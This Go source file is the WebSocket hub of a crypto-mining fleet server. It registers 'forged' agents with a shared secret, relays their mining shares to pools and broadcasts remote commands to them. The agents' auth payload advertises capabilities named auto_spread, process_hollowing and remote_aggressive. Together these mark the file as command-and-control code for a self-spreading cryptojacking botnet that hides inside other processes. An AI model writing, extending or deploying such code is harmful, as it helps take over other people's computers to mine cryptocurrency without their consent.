AetherForge/server/internal/api/websocket.go

package api

import (
	"crypto/subtle"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"strings"
	"sync"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
	"crypto-miner-server/internal/pool"

	"github.com/google/uuid"
	"github.com/gorilla/websocket"
)

// secureStringEqual compares two strings in constant time to prevent timing attacks.
func secureStringEqual(a, b string) bool {
	return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}

// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
func checkDashboardWSToken(r *http.Request) bool {
	token := r.URL.Query().Get("token")
	if token == "" {
		return false
	}
	decoded, err := base64.StdEncoding.DecodeString(token)
	if err != nil {
		return false
	}
	parts := strings.SplitN(string(decoded), ":", 2)
	if len(parts) != 2 {
		return false
	}
	user, pass := parts[0], parts[1]
	usersMu.RLock()
	expectedPass, exists := authUsers[user]
	usersMu.RUnlock()
	return exists && secureStringEqual(pass, expectedPass)
}

var upgrader = websocket.Upgrader{
	ReadBufferSize:  4096,
	WriteBufferSize: 4096,
	CheckOrigin: func(r *http.Request) bool {
		return true // Allow all origins for local use
	},
}

type Message struct {
	Type    string          `json:"type"`
	Payload json.RawMessage `json:"payload"`
}

type AgentConnection struct {
	AgentID string
	Conn    *websocket.Conn
	mu      sync.Mutex
}

func (c *AgentConnection) SendJSON(v interface{}) error {
	c.mu.Lock()
	defer c.mu.Unlock()
	return c.Conn.WriteJSON(v)
}

// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
	Conn *websocket.Conn
	mu   sync.Mutex
}

func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteMessage(messageType, data)
}

func (d *DashboardConn) WriteJSON(v interface{}) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteJSON(v)
}

func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteControl(messageType, data, deadline)
}

type WSHub struct {
	db              *db.Database
	agents          map[string]*AgentConnection
	dashboards      map[string]*DashboardConn
	poolManager     *pool.Manager
	defaultPool     pool.Config
	aiHandler       *AIHandler
	agentConfigs       map[string]AgentForgeConfig
	agentCapabilities  map[string]models.AgentCapabilities
	agentLogs          map[string]string
	serverPolicy    ServerPolicy
	pingIntervalSec int
	fleetSecret     string // baked into forged agents; verified on WS connect
	mu              sync.RWMutex
}

func NewWSHub(database *db.Database) *WSHub {
	return &WSHub{
		db:              database,
		agents:          make(map[string]*AgentConnection),
		dashboards:      make(map[string]*DashboardConn),
		agentConfigs:      make(map[string]AgentForgeConfig),
		agentCapabilities: make(map[string]models.AgentCapabilities),
		agentLogs:         make(map[string]string),
		pingIntervalSec: 30,
	}
}

func (h *WSHub) SetServerPolicy(p ServerPolicy) {
	h.mu.Lock()
	h.serverPolicy = p
	h.mu.Unlock()
}

func (h *WSHub) SetPingInterval(seconds int) {
	if seconds < 10 {
		seconds = 30
	}
	h.mu.Lock()
	h.pingIntervalSec = seconds
	h.mu.Unlock()
}

// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetFleetSecret(secret string) {
	h.mu.Lock()
	h.fleetSecret = secret
	h.mu.Unlock()
}

func (h *WSHub) pingInterval() time.Duration {
	h.mu.RLock()
	sec := h.pingIntervalSec
	h.mu.RUnlock()
	if sec < 10 {
		sec = 30
	}
	return time.Duration(sec) * time.Second
}

func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
	interval := h.pingInterval()
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
	conn.SetPongHandler(func(string) error {
		return conn.SetReadDeadline(time.Now().Add(interval * 2))
	})

	for range ticker.C {
		if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
			return
		}
	}
}

func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
	interval := h.pingInterval()
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
	dc.Conn.SetPongHandler(func(string) error {
		return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
	})

	for range ticker.C {
		if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
			return
		}
	}
}

func (h *WSHub) serverPolicySnapshot() ServerPolicy {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.serverPolicy
}

func (h *WSHub) connectedAgentCount() int {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return len(h.agents)
}

func (h *WSHub) isAgentConnected(agentID string) bool {
	h.mu.RLock()
	defer h.mu.RUnlock()
	_, ok := h.agents[agentID]
	return ok
}

func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
	h.mu.Lock()
	h.poolManager = manager
	h.defaultPool = defaultCfg
	h.mu.Unlock()
}

func (h *WSHub) SetAIHandler(ai *AIHandler) {
	h.mu.Lock()
	h.aiHandler = ai
	h.mu.Unlock()
}

func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
	h.mu.RLock()
	defer h.mu.RUnlock()
	cfg := h.agentConfigs[agentID]
	poolCfg := pool.Config{
		Host:   cfg.poolHostOrDefault(h.defaultPool.Host),
		Port:   cfg.poolPortOrDefault(h.defaultPool.Port),
		Wallet: cfg.Wallet,
	}
	if cfg.PoolHost == "" {
		poolCfg.UseTLS = h.defaultPool.UseTLS
	} else {
		poolCfg.UseTLS = cfg.PoolTLS
	}
	if cfg.PoolPass != "" {
		poolCfg.Password = cfg.PoolPass
	} else if h.defaultPool.Password != "" {
		poolCfg.Password = h.defaultPool.Password
	} else {
		poolCfg.Password = "x"
	}
	if poolCfg.Wallet == "" {
		poolCfg.Wallet = h.defaultPool.Wallet
	}
	return poolCfg
}

func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.agents[agentID]
}

func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Printf("WebSocket upgrade error: %v", err)
		return
	}

	go h.runPingLoopRaw(conn)

	agentID := ""
	defer func() {
		if agentID != "" {
			h.mu.Lock()
			cur := h.agents[agentID]
			// Only tear down fleet state if this connection is still the active one.
			if cur != nil && cur.Conn == conn {
				delete(h.agents, agentID)
				delete(h.agentConfigs, agentID)
				delete(h.agentLogs, agentID)
				h.mu.Unlock()
				if h.aiHandler != nil {
					h.aiHandler.RemoveEngine(agentID)
				}
				h.db.SetAgentOffline(agentID)
				h.broadcastDashboard(Message{
					Type:    "agent_offline",
					Payload: mustMarshal(map[string]string{"agent_id": agentID}),
				})
			} else {
				h.mu.Unlock()
			}
		}
		conn.Close()
	}()

	for {
		_, msgBytes, err := conn.ReadMessage()
		if err != nil {
			log.Printf("Agent read error: %v", err)
			break
		}

		var msg Message
		if err := json.Unmarshal(msgBytes, &msg); err != nil {
			log.Printf("Invalid message from agent: %v", err)
			continue
		}

		switch msg.Type {
		case "auth":
			var auth struct {
				AgentID          string `json:"agent_id"`
				FleetSecret      string `json:"fleet_secret"`
				Wallet           string `json:"wallet"`
				BackupPools      []struct {
					Host string `json:"host"`
					Port int    `json:"port"`
					TLS  bool   `json:"pool_tls"`
					Pass string `json:"pass"`
				} `json:"backup_pools"`
				Version          string `json:"version"`
				Hostname         string `json:"hostname"`
				Worker           string `json:"worker"`
				WorkerName       string `json:"worker_name"`
				CPUCores         int    `json:"cpu_cores"`
				MemoryGB         int    `json:"memory_gb"`
				PoolHost         string `json:"pool_host"`
				PoolPort         int    `json:"pool_port"`
				PoolTLS          bool   `json:"pool_tls"`
				PoolPass         string `json:"pool_pass"`
				AIEnabled        bool   `json:"ai_enabled"`
				AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
				AIModel          string `json:"ai_model"`
				HolePunch        bool   `json:"hole_punch"`
				RemoteAggressive bool   `json:"remote_aggressive"`
				MeshP2P          bool   `json:"mesh_p2p"`
				AutoSpread       bool   `json:"auto_spread"`
				ProcessHollowing bool   `json:"process_hollowing"`
				Platform         string `json:"platform"`
				Arch             string `json:"arch"`
				OSVersion        string `json:"os_version"`
			}
			if err := json.Unmarshal(msg.Payload, &auth); err != nil {
				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
					"success": false, "error": "invalid auth payload",
				})})
				continue
			}

			// Verify fleet secret. If the server has one configured, the agent must match.
			h.mu.RLock()
			requiredSecret := h.fleetSecret
			h.mu.RUnlock()
			if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
					"success": false, "error": "invalid fleet secret — re-forge this agent",
				})})
				log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
				return
			}

			agentID = auth.AgentID
			if agentID == "" {
				agentID = uuid.New().String()
			}

			displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)

			policy := h.serverPolicySnapshot()

			backupPools := make([]AgentBackupPool, len(auth.BackupPools))
			for i, bp := range auth.BackupPools {
				backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
			}

			forgeCfg := AgentForgeConfig{
				Wallet:           auth.Wallet,
				PoolHost:         auth.PoolHost,
				PoolPort:         auth.PoolPort,
				PoolTLS:          auth.PoolTLS,
				PoolPass:         auth.PoolPass,
				AIEnabled:        auth.AIEnabled,
				AIOllamaEndpoint: auth.AIOllamaEndpoint,
				AIModel:          auth.AIModel,
				BackupPools:      backupPools,
			}

			caps := models.AgentCapabilities{
				HolePunch:        auth.HolePunch,
				RemoteAggressive: auth.RemoteAggressive,
				MeshP2P:          auth.MeshP2P,
				AutoSpread:       auth.AutoSpread,
				ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
				AIEnabled:        auth.AIEnabled,
			}

			h.mu.Lock()
			h.agentConfigs[agentID] = forgeCfg
			h.agentCapabilities[agentID] = caps
			h.mu.Unlock()

			if h.poolManager != nil {
				poolCfg := h.agentPoolConfig(agentID)
				if poolCfg.Password == "" {
					poolCfg.Password = "x"
				}
				if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
					log.Printf("[WS] Primary pool unreachable for agent %s: %v — trying backup pools", agentID, err)
					connected := false
					for i, bp := range backupPools {
						if bp.Host == "" || bp.Port <= 0 {
							continue
						}
						bpCfg := poolCfg
						bpCfg.Host = bp.Host
						bpCfg.Port = bp.Port
						bpCfg.UseTLS = bp.TLS
						if bp.Pass != "" {
							bpCfg.Password = bp.Pass
						}
						if _, err2 := h.poolManager.EnsurePool(&bpCfg); err2 == nil {
							log.Printf("[WS] Connected agent %s to backup pool #%d (%s:%d)", agentID, i+1, bp.Host, bp.Port)
							connected = true
							break
						}
					}
					if !connected {
						log.Printf("[WS] All pools failed for agent %s — agent will mine when pool reconnects", agentID)
					}
				}
			}

			if h.aiHandler != nil && forgeCfg.AIEnabled {
				h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
			}

			clientIP := r.Header.Get("X-Forwarded-For")
			if clientIP == "" {
				clientIP = r.RemoteAddr
			}
			if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
				clientIP = clientIP[:idx]
			}

			agent := &models.Agent{
				ID:           agentID,
				Name:         displayName,
				Wallet:       auth.Wallet,
				IP:           clientIP,
				Version:      auth.Version,
				Status:       "online",
				CPUCores:     auth.CPUCores,
				MemoryGB:     auth.MemoryGB,
				LastSeen:     time.Now(),
				Platform:     auth.Platform,
				Arch:         auth.Arch,
				OSVersion:    auth.OSVersion,
				Capabilities: &caps,
			}

			if err := h.db.UpsertAgent(agent); err != nil {
				log.Printf("Failed to upsert agent: %v", err)
				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
					"success": false, "error": "database error",
				})})
				break
			}

			if policy.LogAgentConnections {
				log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
			}

			// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
			// two concurrent new agents could both pass the count check under RLock, then
			// both get registered, overshooting the limit.
			h.mu.Lock()
			if policy.MaxAgents > 0 {
				_, alreadyConnected := h.agents[agentID]
				if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
					h.mu.Unlock()
					conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
						"success": false, "error": "fleet agent limit reached",
					})})
					break
				}
			}
			if old, ok := h.agents[agentID]; ok && old.Conn != conn {
				oldConn := old.Conn
				h.mu.Unlock()
				oldConn.Close()
				h.mu.Lock()
			}
			h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
			h.mu.Unlock()

			conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
				"success":  true,
				"agent_id": agentID,
			})})

			h.broadcastDashboard(Message{
				Type:    "agent_online",
				Payload: mustMarshal(agent),
			})

		case "stats":
			if agentID == "" {
				continue
			}
			var stats struct {
				Hashrate15s     float64 `json:"hashrate_15s"`
				Hashrate1m      float64 `json:"hashrate_1m"`
				Hashrate15m     float64 `json:"hashrate_15m"`
				SharesSubmitted int     `json:"shares_submitted"`
				SharesAccepted  int     `json:"shares_accepted"`
				CPUUsagePct     float64 `json:"cpu_usage_pct"`
				MemoryUsagePct  float64 `json:"memory_usage_pct"`
				UptimeSeconds   int     `json:"uptime_seconds"`
			}
			if err := json.Unmarshal(msg.Payload, &stats); err != nil {
				continue
			}

			sharesBad := stats.SharesSubmitted - stats.SharesAccepted
			if sharesBad < 0 {
				sharesBad = 0
			}

			h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
				stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
				stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)

			h.db.InsertHashrateSample(agentID, stats.Hashrate15m)

			h.broadcastDashboard(Message{
				Type: "stats_update",
				Payload: mustMarshal(map[string]interface{}{
					"agent_id":         agentID,
					"hashrate_15s":     stats.Hashrate15s,
					"hashrate_1m":      stats.Hashrate1m,
					"hashrate_15m":     stats.Hashrate15m,
					"cpu_usage_pct":    stats.CPUUsagePct,
					"memory_usage_pct": stats.MemoryUsagePct,
					"uptime_seconds":   stats.UptimeSeconds,
					"shares_submitted": stats.SharesSubmitted,
					"shares_accepted":  stats.SharesAccepted,
				}),
			})

		case "submit_share":
			if agentID == "" {
				continue
			}
			var share models.Share
			if err := json.Unmarshal(msg.Payload, &share); err != nil {
				continue
			}
			share.AgentID = agentID
			share.Timestamp = time.Now()
			share.Accepted = false

			shareID, err := h.db.InsertShare(&share)
			if err != nil {
				log.Printf("Failed to insert share: %v", err)
				continue
			}

			sendShareResult := func(accepted bool, errMsg string) {
				share.Accepted = accepted
				share.Error = errMsg
				if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
					log.Printf("Failed to update share result: %v", err)
				}
				if h.serverPolicySnapshot().LogShareSubmissions {
					log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
				}

				agentConn := h.getAgentConn(agentID)
				if agentConn != nil {
					result := map[string]interface{}{
						"job_id":   share.JobID,
						"accepted": accepted,
					}
					if errMsg != "" {
						result["error"] = errMsg
					}
					_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
				}

				h.broadcastDashboard(Message{
					Type: "new_share",
					Payload: mustMarshal(map[string]interface{}{
						"id":        shareID,
						"agent_id":  agentID,
						"job_id":    share.JobID,
						"accepted":  accepted,
						"hash":      share.Hash,
						"nonce":     share.Nonce,
						"error":     errMsg,
						"timestamp": share.Timestamp,
					}),
				})
			}

			if h.poolManager == nil {
				sendShareResult(false, "pool manager not configured")
				continue
			}

			poolCfg := h.agentPoolConfig(agentID)
			proxy := h.poolManager.GetPool(&poolCfg)
			if proxy == nil {
				if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
					proxy = p
				} else {
					sendShareResult(false, "pool not connected: "+err.Error())
					continue
				}
			}

			if !proxy.IsConnected() {
				sendShareResult(false, "pool not connected")
				continue
			}

			wallet := poolCfg.Wallet
			if wallet == "" {
				wallet = h.defaultPool.Wallet
			}

			go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)

		case "get_job":
			if agentID == "" {
				continue
			}
			var proxy *pool.Proxy
			if h.poolManager != nil {
				poolCfg := h.agentPoolConfig(agentID)
				proxy = h.poolManager.GetPool(&poolCfg)
				if proxy == nil {
					if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
						proxy = p
					}
				}
			}
			if proxy != nil {
				job := proxy.GetCurrentJob()
				if job != nil {
					conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
				} else {
					conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available"})})
				}
			} else {
				conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})})
			}

		case "log_tail":
			if agentID == "" {
				continue
			}
			var payload struct {
				Content string `json:"content"`
				Lines   int    `json:"lines"`
			}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			h.mu.Lock()
			h.agentLogs[agentID] = payload.Content
			h.mu.Unlock()
			h.broadcastDashboard(Message{
				Type:    "agent_log",
				Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
			})

		case "command_result":
			if agentID == "" {
				continue
			}
			var payload map[string]interface{}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			payload["agent_id"] = agentID
			h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
		}
	}
}

func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
	// Verify dashboard session. The SPA sends its stored Basic-auth token as
	// ?token=<base64> because the WS upgrade can't carry Authorization headers.
	// We decode it and check against the same in-memory user map as the REST API.
	if !checkDashboardWSToken(r) {
		http.Error(w, "Unauthorized", http.StatusUnauthorized)
		log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
		return
	}

	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Printf("Dashboard WebSocket upgrade error: %v", err)
		return
	}

	dc := &DashboardConn{Conn: conn}
	dashID := uuid.New().String()
	h.mu.Lock()
	h.dashboards[dashID] = dc
	h.mu.Unlock()

	defer func() {
		h.mu.Lock()
		delete(h.dashboards, dashID)
		h.mu.Unlock()
		conn.Close()
	}()

	// Send initial data
	agents, _ := h.db.ListAgents()
	h.enrichAgentsCapabilities(agents)
	stats, _ := h.db.GetFleetStats()

	_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
		"agents": agents,
		"stats":  stats,
	})})

	go h.runPingLoopDash(dc)

	// Keep connection alive, read close messages
	for {
		_, _, err := conn.ReadMessage()
		if err != nil {
			break
		}
	}
}

func (h *WSHub) broadcastDashboard(msg Message) {
	h.mu.RLock()
	defer h.mu.RUnlock()

	data, err := json.Marshal(msg)
	if err != nil {
		return
	}

	for id, dc := range h.dashboards {
		if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
			log.Printf("Failed to send to dashboard %s: %v", id, err)
			dc.Conn.Close()
			id := id
			go func() {
				h.mu.Lock()
				delete(h.dashboards, id)
				h.mu.Unlock()
			}()
		}
	}
}

func mustMarshal(v interface{}) json.RawMessage {
	data, _ := json.Marshal(v)
	return data
}

// BroadcastToAgents sends a message to all connected agents
func (h *WSHub) BroadcastToAgents(msg Message) {
	h.mu.RLock()
	defer h.mu.RUnlock()

	for id, agent := range h.agents {
		if err := agent.SendJSON(msg); err != nil {
			log.Printf("Failed to send to agent %s: %v", id, err)
		}
	}
}

// SendToAgent sends a message to one connected agent.
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
	agent := h.getAgentConn(agentID)
	if agent == nil {
		return fmt.Errorf("agent %s not connected", agentID)
	}
	return agent.SendJSON(msg)
}

// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
	payload := map[string]interface{}{"action": action}
	for k, v := range args {
		payload[k] = v
	}
	return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
}

// BroadcastAgentCommand sends a remote command to all connected agents.
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
	payload := map[string]interface{}{"action": action}
	for k, v := range args {
		payload[k] = v
	}
	h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}

func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
	h.mu.RLock()
	defer h.mu.RUnlock()
	for _, a := range agents {
		if a == nil {
			continue
		}
		if caps, ok := h.agentCapabilities[a.ID]; ok {
			c := caps
			a.Capabilities = &c
		}
	}
}

func (h *WSHub) GetAgentLog(agentID string) string {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.agentLogs[agentID]
}

func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
	h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
}

func (h *WSHub) BroadcastPoolStatus(status interface{}) {
	h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
}

func (h *WSHub) BroadcastAIActivity(entry interface{}) {
	h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}

func agentDisplayName(workerName, worker, hostname, agentID string) string {
	if workerName != "" {
		return workerName
	}
	if worker != "" {
		return worker
	}
	if hostname != "" {
		return hostname
	}
	return shortAgentID(agentID)
}

func shortAgentID(id string) string {
	if len(id) >= 8 {
		return id[:8]
	}
	if id == "" {
		return "agent"
	}
	return id
}

// BroadcastServerLog streams a server log line to connected dashboards.
func (h *WSHub) BroadcastServerLog(line string) {
	line = strings.TrimSpace(line)
	if line == "" {
		return
	}
	h.broadcastDashboard(Message{
		Type:    "server_log",
		Payload: mustMarshal(map[string]string{"line": line}),
	})
}